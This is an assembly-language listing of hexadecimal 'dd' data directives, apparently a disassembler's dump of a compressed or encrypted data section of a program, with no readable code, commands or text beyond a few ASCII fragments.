		dd 80A61C26h, 0D9391A03h, 0F84E4575h, 23DB815h,	5A73E1B0h
		dd 92801BCBh, 0C21CE5DBh, 454EDE00h, 0D606EBE2h, 3A1672E6h
		dd 0F0FE5Eh, 8A367403h,	750A3A08h, 54306700h, 1489313h
		dd 9F4A00D3h, 401625B6h, 83780208h, 311AB200h, 0B3B9D7D4h
		dd 107A0138h, 0CF3FDA3h, 80FAB93Dh, 21D64EBh, 903119h
		dd 0CD88BB51h, 10E08650h, 0CD46600h, 83184CB2h,	0ABF33B09h
		dd 86311200h, 24405FAAh, 0F156900h, 8840541h, 89B202C7h
		dd 0E2F70BA2h, 0B04C3AE0h, 1452480Eh, 0CF26403Eh, 99036Fh
		dd 9229D031h, 0F2FB5AB9h, 190DB00h, 96F1F728h, 0F8300048h
		dd 0C7431C17h, 8003BE03h, 0C6057DF6h, 0FA2DE804h, 1F170088h
		dd 0F9018B47h, 0FFE68114h, 844F852Eh, 2307B90Eh, 7B97D929h
		dd 0B0A3000Ah, 8AD20F20h, 12001C44h, 754B2B42h,	0AD41F6h
		dd 51B82318h, 0E9968F82h, 2F9CB300h, 0CC2CAC33h, 94CE1D50h
		dd 0C6634773h, 20190BFh, 1E018A0Ch, 70FB8046h, 0B5CCF8D7h
		dd 2D0E03CEh, 2B0A69ECh, 248166D0h, 0FE78080Eh,	0FD58C061h
		dd 0F30025Ch, 28ACCBE2h, 26844FE1h, 623CC4Ah, 4EB2000h
		dd 0EE347F0Dh, 24C02630h, 392C0093h, 3F28E8F8h,	1C048D0Fh
		dd 0D89BC001h, 1340555h, 0CDFEE675h, 0F8D4E486h, 5905127Ch
		dd 3289F631h, 90461780h, 7703486Ah, 78F07E00h, 0DE29D9EEh
		dd 0FE00EC71h, 0E451C56Eh, 48ACBFBCh, 32008E1Fh, 92DF7430h
		dd 3007261h, 5420A2CAh,	0EA0B7643h, 1F110010h, 4CD07705h
		dd 0BF010AC3h, 565A90C9h, 0D5C05D04h, 1A97DEBh,	0FAFFB150h
		dd 0C0427D2Ah, 70074EDh, 0FE288840h, 7512C9h, 3C1E5AF2h
		dd 6C430253h, 7301FA00h, 90517497h, 8B440035h, 0ECF85442h
		dd 52005D36h, 195A8C68h, 0FE570926h, 0EB84Ah, 0FF1250A9h
		dd 0D32BF03h, 1B48AC04h, 35C0C69Fh, 0BFC5C14h, 8C7C3D74h
		dd 4C08F000h, 2F00B859h, 8304D250h, 2E01F835h, 0CD290Eh
		dd 900B1B22h, 0AC0325FFh, 338B4C79h, 6350E0DBh,	50C741Ah
		dd 1C753E07h, 701D802Ah, 91009225h, 0D41A1B0h, 3F29845h
		dd 161F4C22h, 0A09801B3h, 0F4004028h, 57037B0h,	0B847604Fh
		dd 8D736Fh, 6A6250FCh, 0F6386886h, 653A652Eh, 6BE84700h
		dd 378323Fh, 5511E04Dh,	2DA06168h, 3000FF64h, 1B2089CCh
		dd 0F445C7h, 0EE608691h, 0F808CB50h, 69C52C00h,	0AC8B8954h
		dd 34E683h, 8AEAA267h, 63C41618h, 0E0985200h, 0A16628EFh
		dd 25EC0071h, 97FFC02Ch, 8700F89Fh, 0C33FE283h,	0EFBC20Bh
		dd 9C2A59A3h, 4F53003Ch, 41575446h, 450052E0h, 726F425Ch
		dd 4C3C616Ch, 44003C6Eh, 6870C765h, 5200F169h, 46C04C54h
		dd 550350h, 6B73614Dh, 756CA056h, 94653Dh, 2AE3C38Bh, 12C3AB7h
		dd 60D7C7ACh, 2031D470h, 0E1D8A20h, 0AE408D41h,	93AECFAh
		dd 3FE800D8h, 58C2F748h, 1BEAE913h, 0DE747703h,	90751ED3h
		dd 77BBC36h, 0DC4A76FAh, 0E8075001h, 0AE1E2D37h, 0F6479C45h
		dd 0BE50E975h, 0C6C831h, 0A46B5C54h, 49AC08F3h,	0D3009AB0h
		dd 3C0C141Ch, 2B980Fh, 8F64121Dh, 92780551h, 0E03E307Eh
		dd 19A2004Ah, 2379DDD0h, 0C5942E96h, 0B2DA043Fh, 51318001h
		dd 6C034BFCh, 0ABD7CB02h, 41D8B88Bh, 120FADAh, 65580DDBh
		dd 0E859247Ah, 63020E6Bh, 0B82CE24Ch, 1C1E096h,	5B0D0351h
		dd 706731FEh, 0EBD81BC3h, 0D47539EDh, 8DE1D2Eh,	1C006F2Eh
		dd 3EA6734Ch, 6BE00F6h,	0C827B2Ch, 207F3834h, 75493700h
		dd 0A8E3453Bh, 0C9D90154h, 3981DB10h, 1A9AECD0h, 407578F4h
		dd 4BC3F300h, 57A821B0h, 596A0093h, 38D0684Ch, 0D1C247Dh
		dd 510039D3h, 6602C783h, 0F8AF00F2h, 6459550Ah,	0C3007F8Bh
		dd 290B0358h, 35CF0C8h,	96F7FC47h, 44C0B891h, 1126D480h
		dd 2401303Ch, 1A1C8F53h, 0F69009E8h, 0A5F0217h,	1886C0DEh
		dd 67E8E740h, 58FCA912h, 0D905A300h, 0E1FF5Bh, 0A5089F0Eh
		dd 0E802F061h, 53515200h, 818FF689h, 0F4500084h, 1058E012h
		dd 6E7E6463h, 69911900h, 60F57108h, 0DF2D000Fh,	0CA43B8Eh
		dd 0A0002FBh, 405A595Bh, 91E3FF0h, 2C45FC9Eh, 90C1300h
		dd 22000E74h, 4950811Dh, 23581Eh, 47257531h, 8BF09821h
		dd 0FF131000h, 2895F852h, 0E4090007h, 7FBAAC58h, 0EF00D4A3h
		dd 0E8060EAAh, 0E0759Dh, 43D8012h, 7601E141h, 0C26A1000h
		dd 0DF056B66h, 4FED48FAh, 359C1200h, 0C11C24CCh, 0F516DB2Ch
		dd 6A546200h, 3423D02h,	0A30C92E4h, 99D99808h, 147670D1h
		dd 0A04A200h, 0F09C550h, 0E573008Ch, 8B547FE9h,	77EA064h
		dd 12A45300h, 0C9967C9Eh, 418900F0h, 39800103h,	8A983DE9h
		dd 75EB0A02h, 60BE0F0Ch, 0F898F25h, 539A650h, 647CD7E0h
		dd 0E4001C68h, 6BDDBBE1h, 0EF106EA9h, 8A2F30h, 50280A5Ah
		dd 20A45211h, 8DE2421Eh, 76ABF0C2h, 0BF46E01Eh,	53E31E88h
		dd 0D31C4148h, 0ECF72683h, 8A00DA39h, 12850F16h, 1D814543h
		dd 400EDE38h, 6018508Bh, 74001448h, 0E816FC6Eh,	0A41B5Fh
		dd 0A29E0C4Eh, 840FD283h, 512EF000h, 14B216FFh,	8B2507E6h
		dd 45BC5E9h, 0CE898094h, 1A00EFFAh, 5A37740Eh, 3FE0A5ACh
		dd 76808B08h, 163B2729h, 0B4002077h, 0C2A15051h, 1365AEB3h
		dd 0EE2439h, 0A2BAAEBh,	0CAEE7B30h, 0FBE20C00h,	3B920BBAh
		dd 1EAB1D85h, 50154061h, 828C638h, 59EFFE00h, 74F1513Dh
		dd 48E0006Fh, 53020B04h, 0E202DB31h, 1B1A614Eh,	0A54161E6h
		dd 0FA1EBB60h
		dd 5468005Fh, 0D348D12Fh, 0E8909B29h, 79247C00h, 0B0FF0EE7h
		dd 286D0014h, 8B2606A0h, 300D56Fh, 47C7045Fh, 512D9Fh
		dd 5760F931h, 0E3FF88A7h, 0AD36B907h, 50806F19h, 0E891127h
		dd 4108A890h, 0EBE92A40h, 0B8005EFEh, 2C8A51D4h, 4586EC8h
		dd 26911F74h, 52B28044h, 75001801h, 0EAE90A1Ah,	9E62B9h
		dd 2C444D42h, 2189084Eh, 67017F70h, 718D0559h, 0C5EC3D09h
		dd 0B50600A6h, 0EF16439Eh, 3F005A4Bh, 84F87424h, 48041h
		dd 0E64F3BD8h, 64176775h, 57B5D41Ch, 9CE269C0h,	189093Eh
		dd 610BE842h, 0C48C74CEh, 695CDC7Fh, 0D075002Ch, 4B08C683h
		dd 0F2C000B2h, 0A161A486h, 26031499h, 0FF41C4B8h, 0E992F88Dh
		dd 946D0E1Ch, 2BEE5923h, 449E21A0h, 27482214h, 6CF11E42h
		dd 0F238689h, 56986136h, 0A3E88844h, 1E5BEA30h,	8F92899Ah
		dd 8D20CF86h, 93E8EC53h, 9879105h, 0C4E00463h, 87BE1h
		dd 2480A48Ch, 42C78F54h, 31288500h, 8BDFA3ECh, 2208306Ah
		dd 5684DBDEh, 2489D100h, 28603949h, 54050F5Ah, 53A05755h
		dd 9507C888h, 444E4200h, 52E9F62Fh, 8654008Bh, 6AA0C730h
		dd 83018897h, 0A427BEAh, 0D471B089h, 60EC7931h,	39FD0004h
		dd 1EA80DF0h, 9200A4B5h, 0C9C543EAh, 3BCC031h, 1C0648DFh
		dd 12D85910h, 28001189h, 49A78D6Fh, 473A6Ah, 0C664955Ah
		dd 0C49674B6h, 5442E00h, 0D103E85Dh, 0E2FF00C7h, 4D588038h
		dd 1500CD5Eh, 5034C056h, 0C2BE02h, 4AB80C52h, 3F1FFC5h
		dd 3854491Ch, 86E97282h, 92836048h, 0C0070020h,	5C742C7Fh
		dd 0F018E95h, 57221509h, 20C8052Dh, 0BF8700DDh,	483D1ECFh
		dd 0EB3F4E80h, 84713060h, 83073Fh, 369429E8h, 52E130E7h
		dd 43963D00h, 3814112Ah, 93762Dh, 13462E33h, 0EB24060Fh
		dd 0FDEA3A1Dh, 502F18C0h, 77E968Ch, 0B02C1D26h,	1E2A40C8h
		dd 781C3DC9h, 229DCD7Ch, 6567CF0Fh, 87C71A21h, 0CE471627h
		dd 0D8871267h, 0DAC70EA7h, 0D9E70AE7h, 0CAC406E0h, 16272EFCh
		dd 8D900536h, 808E1D8Bh, 6C01E3E8h, 400C25Dh, 0F3942467h
		dd 402993h, 2690F1FAh, 7074503Dh, 0CE00A27Bh, 99CB9238h
		dd 1D90836h, 72F65232h,	0EC3B8189h, 300053D0h, 1817438Fh
		dd 12381D74h, 0BCFB82h,	0B1D889ABh, 0B600EF84h,	4BFA4419h
		dd 74E1Fh, 46A3120Dh, 945C3749h, 0D9B8850Fh, 14510204h
		dd 6DBB878Ah, 124F60F0h, 0AA090752h, 505B290Ah,	94ED2677h
		dd 68F6E300h, 0A005F8F5h, 0D81A01B5h, 0BAC804Ah, 0C8B63047h
		dd 38657502h, 0C02E536Ch, 7F9836Eh, 39A174FFh, 9DF5F001h
		dd 0A4008922h, 68A2E984h, 0D49CBFh, 3E434B93h, 57E148C2h
		dd 70E80C00h, 0E9A79504h, 505800BEh, 7E1DDB85h,	0F0004B12h
		dd 4DE4433h, 9749D4h, 7F24D031h, 0C4BA3DEEh, 0B214EB00h
		dd 73E809BDh, 0A96C0023h, 0B4DF9A3h, 3CFE5F3Eh,	0A1856000h
		dd 0CFDFE8A4h, 30C3034Bh, 78A2DB33h, 341E5E90h,	3B121400h
		dd 1A057EF3h, 0C1DF0004h, 49A81D3Eh, 28EEB127h,	4AEC7F00h
		dd 1151E360h, 9CBE00BAh, 0C47D8D04h, 0A790E9B9h, 8FA5F301h
		dd 2164BC05h, 1429B20h,	10B02D89h, 0EF84B41Dh, 1508A4F8h
		dd 8D87AC00h, 0DF5C44Dh, 9377D17h, 0FC7D8397h, 35B5A100h
		dd 6792008h, 0C92BE803h, 880C45FAh, 1CC0A240h, 4359481Dh
		dd 0C4151BB8h, 0FF03E990h, 2F967100h, 2836156h,	417E1D05h
		dd 3D2580EEh, 7594C81Ch, 0C6180D1Fh, 1132481h, 26F95AD9h
		dd 4CBB20h, 0CB222C48h,	95D3E834h, 0A345C501h, 18247444h
		dd 3C9F30h, 160646B2h, 6B202778h, 0F5B93805h, 2080EE93h
		dd 14E1C3Ch, 124A892h, 0E832A9C8h, 0EC0E040Ch, 0C1D210ACh
		dd 0BBBF30C7h, 0E6803CB9h, 115ABE5Ch, 13001280h, 0F294834Bh
		dd 383C22h, 334AE877h, 30BB354h, 0D0299200h, 595C44BBh
		dd 1B98FFh, 0E68A0FE2h,	57C01750h, 63E8C102h, 80B4ED9Ah
		dd 46EA32E3h, 23F011h, 77FF0C1Dh, 0F820061Ch, 3E933700h
		dd 5D2656A4h, 73870015h, 19D8F70Fh, 0C9074045h,	32BBB684h
		dd 3885609Eh, 1806BEh, 250B34BFh, 0CE587B80h, 83161C0Fh
		dd 0BEE0203Fh, 5F8917h,	6F3787D0h, 0FBC2E803h, 75231200h
		dd 381A08EFh, 47743E40h, 25581383h, 0EC88A34h, 0BA001685h
		dd 0B88C4228h, 1FA27214h, 803E8FAFh, 0EB0B12ACh, 0CF01C62h
		dd 75226000h, 6ECF7013h, 0B4150048h, 0E186926h,	0F212163Eh
		dd 0D60029ADh, 0A750204h, 0F64C28BEh, 268907FEh, 0F0080C43h
		dd 7622012Bh, 503EB2F8h, 0AA18005Fh, 6DFBE8C0h,	192E1F37h
		dd 3B0079FDh, 587404CCh, 22007F06h, 0A64BEAEBh,	75482Dh
		dd 285314C2h, 0C01292B7h, 980D1500h, 0A03B831Ah, 66F0041h
		dd 8BCBC660h, 560003C1h, 0FB6C097Bh, 7A5E0438h,	508C00EBh
		dd 6974726Fh, 73036EA0h, 3D437920h, 3FFAA070h, 7A680067h
		dd 2963281Fh, 39003181h, 0D32C3338h, 1CCCBAFh, 3718B76Dh
		dd 60918990h, 9707E9FBh, 238FF5ADh, 0B75C7C90h,	8B8400E3h
		dd 1C2ED110h, 5138C2C7h, 0F84A072Dh, 0F0D07C49h, 0EFF6Ah
		dd 8D5007CBh, 57E8D242h, 6B0068F8h, 60C47858h, 2C8BD618h
		dd 275513h, 0EC80342h, 29E40865h, 4EEAB000h, 6CA3DAFCh
		dd 24510030h, 1A7F4145h, 1700F5B4h, 93750542h, 0FAFE227h
		dd 13481864h, 0F65A00DFh, 0B78C97EBh, 0A1876E00h, 4C4B147Ch
		dd 21440095h, 2A7E150Ah, 203B3BF9h, 501C0054h, 95F8375h
		dd 10180026h, 895A081Fh, 6FF4FC97h, 1768F803h, 0F86B04C6h
		dd 38BA546h, 25C0E390h,	0F8E1C1D6h, 0FEF9E458h,	96BCC700h
		dd 7A980914h, 95F00053h, 3277E45Ch, 0F0026CFh, 0EC96573Bh
		dd 0F38597h, 0D9F1D3F8h, 0B35EEAF2h, 97F8F00h, 8223C74Ah
		dd 816700EBh, 8B7854FBh, 64002C7Dh, 9708E0BEh, 40CFC90h
		dd 55532850h, 7B40C010h, 0A90086F1h, 0D7E27B8h,	0C70441h
		dd 323ACEE9h, 0ECD93306h, 6098B57Bh, 0C5204401h, 16225498h
		dd 293160h, 80CA4607h, 0C09CB8B4h, 89145200h, 95D1B9E2h
		dd 175B032Ch, 41151268h, 3A522198h, 83D50A3Dh, 1945132Fh
		dd 0FD02C0E2h, 0E03E60Bh, 695E3A62h, 0ECE8EB01h, 1CF1306Ah
		dd 295AD100h, 2712E5E4h, 41240065h, 66522D30h, 620C9B3Bh
		dd 70340A20h, 82C30E0Dh, 6AF280Eh, 0EB081941h, 496892E4h
		dd 763A8A00h, 7621D725h, 3C901FC2h, 4252C38Ah, 57C0014Ah
		dd 891D5150h, 0F20720D7h, 3B0AE5Ch, 158D1F7h, 5F9AC101h
		dd 70A41992h, 0CB03ACB0h, 0EA0F7061h, 0F234D8FEh, 8B770103h
		dd 35C9FC7Bh, 0DC8E43Fh, 0E2840F00h, 8A2734FDh,	798B000Eh
		dd 85B97EFCh, 391EFA01h, 77EC02CEh, 7A4A2C00h, 4E0E41h
		dd 2413269Ah, 0F5A48F46h, 6217AA00h, 83AB42F7h,	0AF3D07D0h
		dd 91618828h, 213BA044h, 517460AFh, 68BC0800h, 0F9233450h
		dd 0E94F00C0h, 0ED42933h, 0D3003958h, 250CE16h,	3FC5Fh
		dd 49756E46h, 0D809DFC7h, 0B34B8B00h, 0A2FAF277h, 53030063h
		dd 0A5580F91h, 5C004320h, 0F84F33F7h, 48A48CFEh, 0CA000271h
		dd 0E6A0BE9h, 5400AE51h, 0A650528Dh, 8BED40h, 104F944Ch
		dd 41112FD7h, 714AFC00h, 305A56CFh, 8BC60007h, 6F149C44h
		dd 0B800F5D3h, 5501D834h, 0D054CEh, 7E2AE975h, 0ACC8EF82h
		dd 5AC44A00h, 248D5801h, 0E0FD0094h, 3E6CD92Ah,	3900F145h
		dd 8FC709D0h, 3EA5CB29h, 8200687Fh, 0AE1C8B6Bh,	0C05857DCh
		dd 277007Ch, 5213C201h
		dd 0B4EA00C1h, 1FE40E4Fh, 4A145888h, 2C954E89h,	4003A310h
		dd 0E0E6C7C6h, 7F786h, 0FE5A6FBEh, 2C2250E0h, 41813800h
		dd 34761702h, 0E3A1E18h, 0E3678410h, 0CA7DC0B8h, 300006E1h
		dd 0C0012773h, 7F23EB2Ah, 0D4FA61h, 151307D6h, 0CF62B25Ah
		dd 0A4D0E301h, 2A590ACh, 1F850D8h, 0B078C442h, 60119743h
		dd 8001DB44h, 0FB3AF9B8h, 2822C77h, 0FA34A86h, 390225D0h
		dd 13A424DBh, 9D4AC190h, 0C51FD868h, 80CC1EE7h,	36D0895Bh
		dd 7E008BF8h, 0FC58252Dh, 70261BC0h, 27C754Ah, 1F7DDA39h
		dd 5068D329h, 9E000519h, 0F416117Fh, 6394C9h, 313A7D25h
		dd 89E50AD2h, 2A93D900h, 126CB113h, 9ED50F5Bh, 1FF6BC8Bh
		dd 0C0575F87h, 0FC304086h, 7C004E3Fh, 7D123D4Ch, 430126h
		dd 0F129227Eh, 2D9CFE9h, 3F42BC3Eh, 8DF200F9h, 7F4D3A04h
		dd 52FB0724h, 10FAF0A1h, 0DF4C4762h, 4087A900h,	70317992h
		dd 4F8B0088h, 8334F1FCh, 7803044Ah, 46068A1Bh, 147ED9C1h
		dd 10D5F4h, 3BCB8937h, 15A6F3C3h, 0C746000h, 5AEC128Ah
		dd 57FF051Dh, 0C0415E08h, 273AF875h, 6A985100h,	0FF314390h
		dd 489B0028h, 23AFC2FCh, 0E0007883h, 0EC1D756Fh, 0F92A09E8h
		dd 1C87A1FBh, 0A5F884F5h, 8B75003Ah, 701A40EEh,	0AE0790FCh
		dd 28DC3050h, 949B0C60h, 0C93207AAh, 0B021FAD2h, 477CF139h
		dd 9D4BB600h, 4502C80h,	0B86F75E9h, 0D43400B4h,	455DB2CAh
		dd 0C81D30DBh, 0F31EF729h, 593D4080h, 0DA8906h,	1347E95Bh
		dd 9C36C34Ah, 83A8B83Fh, 1E0EC81h, 0E2FAE0A3h, 41B5007Ch
		dd 903C37E8h, 7900F01Dh, 7D28F320h, 1F240A80h, 403175FFh
		dd 856AE3DBh, 1F07AE15h, 0C45B1C59h, 0AAF8C910h, 504D0322h
		dd 0F5743158h, 0B586C194h, 0C066F932h, 87FB0E4Bh, 0CE4652CAh
		dd 10584960h, 0D1350096h, 590CD722h, 50009A20h,	32125B3Bh
		dd 0EC8814h, 8A532E44h,	4F3924A8h, 6113B300h, 897C620Eh
		dd 4CE21D06h, 5A94075h,	0FF0912A3h, 6DE42E00h, 0EC7F4F14h
		dd 0FE52039Eh, 0E0F94B7Ch, 2089DDC1h, 0D600FAEDh, 0E506ADA0h
		dd 8001F4h, 7BBFF85Ch, 0A80B0ACEh, 0C1E4600h, 0D3F5890h
		dd 7F6200A0h, 0F7B400Eh, 881266C8h, 0D80012B2h,	5893598Eh
		dd 0CF22F66Fh, 7FC0012Ah, 0E9D6980Ah, 0DBD24503h, 0F0F35214h
		dd 78EB19h, 30071A91h, 1DCC2C58h, 1A86A58h, 0D4612D44h
		dd 10F0BB28h, 433E4C0h,	0FEF39450h, 89A0C052h, 54008BD5h
		dd 2C8E0A2Eh, 0CB5C03h,	4A0D8F02h, 638AB406h, 241D2D0Fh
		dd 351940E8h, 771A493Dh, 37FD0171h, 5DF01650h, 431ED4EBh
		dd 0E8730400h, 0F243846h, 0F2940077h, 54A97D11h, 9D0049F1h
		dd 0D1285C61h, 984AE98Ah, 70B31F84h, 0DA48C08Eh, 0C6087544h
		dd 7761C400h, 0E57F9C8h, 708E075Bh, 306A2D4Bh, 463A7620h
		dd 0CD25F50Fh, 554F409Ch, 7740561Ah, 287A7E59h,	5DFD6D0h
		dd 1C2F89DBh, 41918024h, 14039BCCh, 0CE920BFAh,	5749A8D0h
		dd 0D45D003Eh, 0D8CCB056h, 4B002B31h, 22CF2529h, 9B3D09h
		dd 0AA1DD5AEh, 5098BEE1h, 0EF335600h, 48CD832Ah, 0BD5B0971h
		dd 5F80325Fh, 84F85A85h, 0FDB21C00h, 0A81E532Bh, 0BF3100AFh
		dd 0D21D1499h, 0F802BB85h, 19385755h, 606FC2C7h, 0BD0FDCh
		dd 10C2731Bh, 23DE0892h, 0F77993F2h, 765E938h, 0FA832875h
		dd 0E0EE72E7h, 26BD9981h, 10372EB4h, 190E3DF6h,	73E02A56h
		dd 27C7661Ch, 0E9289102h, 0E0485E25h, 8BA18Ah, 0E4D414A3h
		dd 88909DA4h, 64836602h, 0C02A8038h, 1818764h, 5F3E868Dh
		dd 4084F742h, 0EB2720CEh, 51FF100Ch, 419FC15h, 0C3A78AAEh
		dd 6071805Ah, 7304123Ah, 0DB77B111h, 0E78611C5h, 0C41007Ah
		dd 7099C3CDh, 14057F3Ah, 757E0FB1h, 301D7980h, 8F580002h
		dd 72BD0486h, 1300C6A8h, 0E5DA0908h, 0FE4C8A52h, 1E507A0Ah
		dd 0BF6493C3h, 981AB80h, 1C850FC0h, 96883900h, 0F02FE0A2h
		dd 0FC021DE4h, 2D51407Dh, 0A9104B9h, 31345901h,	458D12D8h
		dd 0E7B0BF8h, 558F6833h, 40DC2D60h, 0D476D84Eh,	0E43E4A98h
		dd 9C9294F2h, 2C3503F1h, 88E3CCA8h, 1385150h, 0CBD48A23h
		dd 7056B2CFh, 6B00B387h, 0B5657C25h, 797B1D83h,	62CD005Ah
		dd 0F926845Bh, 7014923h, 2D350371h, 27DCE24Fh, 53C800FFh
		dd 2C30EB4Ch, 0CF02D1D6h, 0FE8AE7E8h, 0CA82E095h, 0C0756Dh
		dd 0C336835h, 0ACDD5634h, 1209200h, 5482ABAh, 2F2200FDh
		dd 9B511998h, 32008C07h, 0F80A0389h, 0E6443EAh,	2FC0C08h
		dd 9A34EB60h, 7D008F4Ah, 0D15727AAh, 3515C18h, 2B4EAD53h
		dd 28BBA5BEh, 44959C88h, 8A971202h, 0C03BFD01h,	72EE3D6h
		dd 0D266E56Ch, 57A5C7A3h, 9794F008h, 0D800E0C3h, 7E85109h
		dd 7C5BA2Fh, 6962279Ah,	763AC05Fh, 6D01EE74h, 8BDE9C53h
		dd 0D9C187EFh, 3D8E230h, 82DF0D75h, 0A0A4E84Ch,	3203E259h
		dd 0A4133D59h, 305A875h, 210801FBh, 0A31D319h, 0F7D5C048h
		dd 22135500h, 4271109Dh, 949600B4h, 93CBE658h, 0E77BC295h
		dd 2F9B3000h, 0BF4B2D87h, 5EC00034h, 0D383D4CCh, 2177F869h
		dd 0A3110A00h, 63579D5Ch, 0B9510079h, 914C4DB0h, 0F600D6CEh
		dd 6A65AF5Bh, 1E46728Ch, 43B99944h, 0A58B7D89h,	0EF9C13C0h
		dd 0EC830600h, 0FB8D810h, 78207B96h, 90100B9h, 6531F3E8h
		dd 2B0F27B6h, 6FAA56B0h, 2499E0C4h, 595350h, 448CDD58h
		dd 70FF1B1Ah, 0C4060C00h, 33B8040Dh, 891200D9h,	5B3936E2h
		dd 551F2CA2h, 807AE011h, 0AD05D354h, 91F849h, 6CC88925h
		dd 0A34A2471h, 0A540400h, 3870B506h, 47640027h,	3B74A607h
		dd 8D000583h, 85E1D11Bh, 188A910h, 6AE48661h, 0C0953F1Ch
		dd 0C8002C97h, 6B7C818Fh, 0A5FA10h, 0E8067525h,	6602EBEDh
		dd 1C453303h, 0F115FC51h, 0CDF86010h, 77190074h, 7204583Bh
		dd 8010A67h, 0C0705A4h,	0F5E0C975h, 0B0360084h,	0EEE7F432h
		dd 0F0095EBh, 8A129166h, 19A810h, 0EF755CC2h, 6FB8F844h
		dd 64B05B00h, 0C94BC4B3h, 0A3300034h, 9D747A68h, 130F6A82h
		dd 871B7501h, 84D0C3EFh, 7A88214Ch, 53CF022h, 9D7D83F4h
		dd 5598C0C2h, 85001018h, 5077CDB1h, 0F6B9D36Dh,	0A43400F4h
		dd 8C12A515h, 450043E8h, 356536E9h, 371C8Dh, 3ADC3880h
		dd 1780F08h, 0E0EEEDFDh, 700015D5h, 0E814025Bh,	6633D7h
		dd 823B8013h, 8D26EA0Fh, 0A76A3Dh, 0B747C53Dh, 565DD6h
		dd 0F96C34Ch, 2752BF3h,	1468D0Fh, 6268C0AAh, 844BE8h, 39554C64h
		dd 0C749F8CEh, 936F400h, 1F8203D0h, 90FA0081h, 618F0FA4h
		dd 40488B92h, 3348002Eh, 35C65203h, 0B61C0765h,	0C75CC3E1h
		dd 744450E3h, 0C274DEC7h, 0E9856703h, 0A88921DBh, 72047E2h
		dd 3A2CD4CFh, 0C203E056h, 4EE03D40h, 0C6487F00h, 33A13584h
		dd 43A9035Ch, 40AC4C41h, 37A7F090h, 3030976h, 20DF7285h
		dd 0FF5FA8C7h, 2A0200D2h, 590B5D1Ah, 6B0EC1CCh,	0C06E7265h
		dd 321D336Ch, 7B643C2Eh, 920FF594h, 6F673C70h, 61500073h
		dd 4E7468EEh, 51006D7Dh, 0A8231441h, 0FFEE010h,	71A75292h
		dd 40FFE3CEh, 0C68F60ABh, 0E100EE45h, 68D9467Bh, 24BDE03Fh
		dd 87DC91h, 10F801C5h, 1E3974B1h, 7023004Eh, 0C47275E2h
		dd 64210052h, 71014B46h, 361D0EE8h, 6000C7B1h, 92B2A5C3h
		dd 6F903FD4h, 6400EB3Bh, 967AC5ABh, 58007352h, 784B1A37h
		dd 906850h, 0FC3DB3DAh,	466BF053h, 0BF16A60Fh, 0C793001Eh
		dd 0E892AB34h
		dd 6A230B43h, 0EC803305h, 2BEB038Ch, 261B6F0Ch,	0F61811h
		dd 2113BD80h, 0BEAF0A48h, 0F37D9307h, 678EF90Ch, 9FE0CEEEh
		dd 22D12h, 0BD486D23h, 3250E52h, 26783Ch, 2E2C754Bh, 0E8102904h
		dd 0F09500C9h, 6D74820Ah, 3D008E43h, 0AF5115F6h, 755329h
		dd 47AB021Ch, 0D6B63392h, 4613147Ah, 0C9004C69h, 89265B8Fh
		dd 73041E20h, 0A92443F5h, 0E0DBC6C9h, 666F5380h, 61777400h
		dd 0CA655F72h, 0DE48001Ch, 0FEF9633Fh, 0D83D9173h, 0FBEB802Bh
		dd 6E232938h, 10BC1F13h, 0A1FA80A4h, 0F8357F14h, 38858700h
		dd 0B5213912h, 0A4707CFh, 0E0242758h, 1322A654h, 0B1E2040Fh
		dd 9BC2A088h, 6F6621h, 753958E7h, 0E5B6C74Eh, 0A6385C00h
		dd 0BFA37756h, 3490009Bh, 0FDCF51D9h, 64031019h, 0B5ADA648h
		dd 8FE8C0E0h, 0D3371F49h, 0FC863FA2h, 5205503Bh, 230C5100h
		dd 0EB45A1C2h, 0E73E81Fh, 0BC34E8Bh, 553BC880h,	0E413B4FCh
		dd 2E030A37h, 0E0068E4Fh, 48EAFA2Dh, 0C20FAD6Eh, 9A2C0A6h
		dd 0CB41FCEEh, 0F13DCCE3h, 80047B38h, 2A7D3E81h, 0AB15A68h
		dd 998438Bh, 0B3E803EAh, 50727B99h, 6F0CBC00h, 0F3F4120Ah
		dd 0E87F47Ch, 0CDE31328h, 0C0A7C845h, 89582A2h,	3C00F178h
		dd 0AC042512h, 48E09378h, 1000B62Ah, 8D520C06h,	4A000EBAh
		dd 214BC22h, 2993E8h, 0E6A2D272h, 11C98E7Dh, 6DF81F00h
		dd 1DF1F35Eh, 0B18B0051h, 1A7EA256h, 3C00C9EDh,	0AEB77DF2h
		dd 52AAE9h, 62BB4433h, 21590504h, 0F7EB3400h, 9612CADh
		dd 76747FB0h, 745B48E8h, 49017500h, 0DC76DA19h,	894C3001h
		dd 6CB0C46h, 17FF20h, 45C3B12Dh, 9B480B74h, 2EFC207Dh
		dd 3AC0E900h, 4BB8621Ah, 0F2BA0380h, 40B95F31h,	1C46C7D0h
		dd 65D6E800h, 827A079h,	50C4FA18h, 0B80FE502h, 29C00313h
		dd 62491778h, 4424A0F7h, 14002018h, 597E8088h, 222648h
		dd 0FB96B2AEh, 10510F99h, 7060520Ch, 852046h, 0FF32DA53h
		dd 8920EB3Ch, 7E810600h, 8BB3042Ah, 63A600B8h, 4EFF1FA3h
		dd 0EA0050EEh, 7BE82836h, 44C874h, 812D8CC9h, 6A96730Bh
		dd 46E12C07h, 0AB303950h, 5CAD2Ah, 0B1D58990h, 968D1361h
		dd 7C2EB900h, 4736FF24h, 0A85A0165h, 0D68B2280h, 5CFD86Eh
		dd 0BC074C79h, 1A1D0906h, 85405B80h, 2A8801F9h,	4AC2572Bh
		dd 15472019h, 8023A33Dh, 22EB5D0Ah, 1491C6h, 8AB29554h
		dd 0F66A5840h, 5E0F617Eh, 2083E8F5h, 3B5374B4h,	0B1223FB0h
		dd 6FC91781h, 607E316Bh, 20736C0h, 0FA480775h, 5EE4B1E0h
		dd 0A47CC3h, 23246D7Ch,	69B81188h, 0E9EB0402h, 809881A2h
		dd 0DBF08BB3h, 0A488008Dh, 49CF9092h, 2403D414h, 0EEDB108h
		dd 4BCAE0EAh, 143148E4h, 5C181A00h, 1C149FB3h, 4CE41190h
		dd 7A3E2400h, 1B13549Ah, 0B08200B5h, 87D882Ah, 0F80E1C90h
		dd 200AAE11h, 75CDFE07h, 0C30B02A4h, 8A94DE28h,	4FBABFC0h
		dd 0E6F34Ch, 0EF461CD3h, 20C30Eh, 0F718AFA6h, 0E9B767B8h
		dd 0A97231Dh, 0E479254Fh, 7580961Ah, 3C2AA1D8h,	0E8950EAh
		dd 0B400FA83h, 85541977h, 6032198h, 132453E1h, 41C5E94Eh
		dd 98042CD4h, 0FC480E0Fh, 0F0C015EFh, 5CC04B3Fh, 784A81E4h
		dd 1A750A00h, 73BB9A4h,	0A573E3C3h, 8A3D50F8h, 80011109h
